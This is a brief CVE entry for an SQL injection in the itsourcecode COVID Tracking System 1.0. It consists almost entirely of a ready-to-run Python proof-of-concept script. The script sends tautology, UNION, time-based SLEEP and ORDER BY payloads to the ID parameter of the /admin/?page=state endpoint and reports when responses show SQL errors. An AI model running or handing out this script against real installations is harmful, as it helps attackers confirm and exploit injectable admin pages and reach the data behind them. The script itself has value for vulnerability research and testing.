CVE-2025-13570 itsourcecode COVID Tracking System SQL注入漏洞

import requests # CVE-2025-13570 SQL Injection PoC # Target: itsourcecode COVID Tracking System 1.0 # Endpoint: /admin/?page=state # Parameter: ID target_url = "http://target-site.com/admin/?page=state" # Basic SQL Injection test payloads payloads = [ "1' OR '1'='1", "1' UNION SELECT NULL--", "1' AND SLEEP(5)--", "1' ORDER BY 1--", ] def test_sql_injection(url, param='ID'): for payload in payloads: params = {param: payload} try: response = requests.get(url, params=params, timeout=10) # Check for SQL error indicators if any(indicator in response.text.lower() for indicator in ['sql', 'syntax', 'mysql', 'error']): print(f"[+] Potential SQL Injection found with payload: {payload}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("[*] Testing CVE-2025-13570 SQL Injection...") test_sql_injection(target_url)